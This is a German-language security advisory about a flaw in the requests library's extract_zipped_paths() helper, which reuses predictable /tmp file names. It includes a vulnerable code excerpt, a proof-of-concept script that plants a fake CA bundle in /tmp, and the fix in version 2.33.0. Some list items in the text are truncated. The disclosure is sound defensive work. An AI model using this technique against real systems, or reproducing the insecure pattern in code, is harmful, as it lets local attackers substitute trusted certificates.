
Unsichere Wiederverwendung temporärer Dateien in extract_zipped_paths()
In der requests-Bibliothek (Python) wurde eine Schwachstelle in der öffentlichen Hilfsfunktion requests.utils.extract_zipped_paths() identifiziert. Die Funktion verwendet einen vorhersehbaren, nicht eindeutigen Dateinamen, wenn sie versucht, Dateien in das temporäre Verzeichnis des Systems (/tmp) zu extrahieren, und sie überprüft nicht die Integrität oder Eigentümerschaft bereits vorhandener Dateien.
Während das Standardverhalten von requests in Kombination mit certifi durch importlib.resources abgesichert ist, bleibt diese Hilfsfunktion eine Sicherheitsfalle für nachgelagerte Anwendungen oder benutzerdefinierte Implementierungen, die sich auf sie verlassen, um gezippte Ressourcen zu verarbeiten.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NDie Funktion requests.utils.extract_zipped_paths() ist dafür ausgelegt, Mitglieder aus einem Zip-Archiv zu extrahieren (häufig verwendet für CA-Bundles in zipapp-Umgebungen). Die anfällige Logik folgt diesen Schritten:
basename des Zip-Mitglieds (z. B. /tmp/cacert.pem).if not os.path.exists(extracted_path), um zu entscheiden, ob die Datei extrahiert werden soll.In requests/utils.py ist die Logik wie folgt implementiert:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
Ein lokaler Angreifer mit niedrigen Privilegien kann dies ausnutzen, indem er eine bösartige Datei (z. B. ein gefälschtes CA-Bundle) vorab am vorhersehbaren Pfad in /tmp erstellt. Wenn ein Opfer (Benutzerinteraktion erforderlich) eine Anwendung ausführt, die diese Hilfsfunktion aufruft:
Das folgende Skript demonstriert die Schwachstelle, indem es zeigt, wie die Hilfsfunktion eine bereits vorhandene „gefälschte" Datei anstelle der legitimen aus dem Archiv wiederverwendet.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
Das Problem wird in Version 2.33.0 behoben. Die Korrektur beinhaltet den Übergang zu importlib.resources, um gezippte Ressourcen sicherer zu verarbeiten, wodurch sichergestellt wird, dass Extraktionen in randomisierten, nicht vorhersehbaren Verzeichnissen erfolgen und die Wiederverwendung vorhandener Dateien in gemeinsam beschreibbaren Verzeichnissen vermieden wird.